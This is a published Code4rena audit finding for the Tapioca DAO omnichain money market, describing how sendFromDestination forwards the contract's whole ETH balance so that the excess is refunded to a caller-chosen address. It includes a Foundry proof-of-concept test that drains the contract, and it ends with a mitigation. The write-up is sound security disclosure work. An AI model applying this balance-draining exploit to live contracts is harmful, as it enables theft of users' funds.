<!-- canonical: https://0xsimao.com/findings/tapioca-dao-eth-refund-params-argument -->

# triggerSendFrom() will send all the ETH in the destination chain where sendFrom() is called to the refundAddress in the LzCallParams argument

Crit/High · Code4rena · Omnichain money market · 5th July 2023

Finding H-48 of the Tapioca DAO competition.

- Protocol: https://code4rena.com/audits/2023-07-tapioca-dao
- Source: https://github.com/code-423n4/2023-07-tapioca-findings/issues/836

---

<https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L99> 

<https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L551> 

<https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142> 

<https://github.com/Tapioca-DAO/tapioca-sdk-audit/blob/90d1e8a16ebe278e86720bc9b69596f74320e749/src/contracts/token/oft/v2/BaseOFTV2.sol#L18>

All the ETH in the destination chain where `sendFrom()` is called is sent to the `refundAddress` in the `LzCallParams`. Thus, for `TapiocaOFT`s which have ETH as the underlying asset `erc`, all the funds will be lost if the `refundAddress` is an address other than the `TapiocaOFT`.

### Proof of Concept

`sendFrom()` uses the `msg.value` as native fees to LayerZero, being the excess sent refunded to the `refundAddress`. In `BaseTOFTOptionsModule`, `sendFromDestination()`, which is called when there was a `triggerSendFrom()` from a source chain which is delivered to the current chain, the value sent to the `sendFrom()` function is `address(this).balance`:

    function sendFromDestination(bytes memory _payload) public {
        ...
        ISendFrom(address(this)).sendFrom{value: address(this).balance}(
            from,
            lzDstChainId,
            LzLib.addressToBytes32(from),
            amount,
            callParams
        );
        ...
    }

This means that all the balance but the LayerZero message fee will be refunded to the `refundAddress` in the `callParams`, as can be seen in the `sendFrom()` function:

```solidity
    function sendFrom(address _from, uint16 _dstChainId, bytes32 _toAddress, uint _amount, LzCallParams calldata _callParams) public payable virtual override {
        _send(_from, _dstChainId, _toAddress, _amount, _callParams.refundAddress, _callParams.zroPaymentAddress, _callParams.adapterParams);
    }
```

The following POC shows that a user that specifies the `refundAddress` as its address will receive all the ETH balance in the `TapiocaOFT` contract minus the LayerZero message fee.

<details>

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT =
        0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 public constant PT_SEND_FROM = 778;

    function test_POC_TriggerSendFrom_StealAllEth() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(address(3)),
            payable(optionsModule_)
        );

        address user_ = makeAddr("user");
        deal(user_, 2 ether);
        deal(address(tapiocaOft_), 10 ether);
        vm.prank(user_);
        tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether);

        uint16 lzDstChainId_ = 102;
        bytes memory airdropAdapterParams_;
        address zroPaymentAddress_ = address(0);
        uint256 amount_ = 1;
        ISendFrom.LzCallParams memory sendFromData_;
        sendFromData_.refundAddress = payable(user_);
        ICommonData.IApproval[] memory approvals_;

        tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));

        // triggerSendFrom goes through with refundAddress = user_ in the SendFrom call in the destination chain
        vm.prank(user_);
        tapiocaOft_.triggerSendFrom{value: 1 ether}(
            lzDstChainId_,
            airdropAdapterParams_,
            zroPaymentAddress_,
            amount_,
            sendFromData_,
            approvals_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_SEND_FROM,
            user_,
            amount_,
            sendFromData_,
            102,
            approvals_
        );

        vm.prank(user_);
        tapiocaOft_.approve(address(tapiocaOft_), amount_); // user has to approve the tOFT contract to spend their tokens in the SendFrom call

        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
        assertGt(user_.balance, 10 ether); // user received the whole balance of the tOFT contract due to the refund
    }
}
```

</details>

### Tools Used

Vscode, Foundry

### Recommended Mitigation Steps

The value sent in the `sendFrom()` call in the `BaseTOFTOptionsModule` should be sent and forwarded from the `triggerSendFrom()` call in the source chain. This way, the user pays the fees from the source chain.

---

Related findings:

- [Send should revert if the gas limit has not been set for a destination chain (peer)](https://0xsimao.com/findings/metazero-i-revert-gas-destination-peer): MetaZero Omnichain NFTs
- [Method refundPlayers doesn't update _lockedETH in WinnableTicketManager](https://0xsimao.com/findings/winnables-raffles-refund-locked-eth-winnable): Winnables Raffles
- [`borrowing::liquidate()` sends the wrong liquidation index to the destination chain, overwritting liquidation information and getting collateral stuck](https://0xsimao.com/findings/autonomint-liquidate-liquidation-index-stuck): Autonomint
- [NFTs can be stolen by calling send() and receiving the nfts in another chain](https://0xsimao.com/findings/metazero-i-stolen-send-receiving-nfts): MetaZero Omnichain NFTs
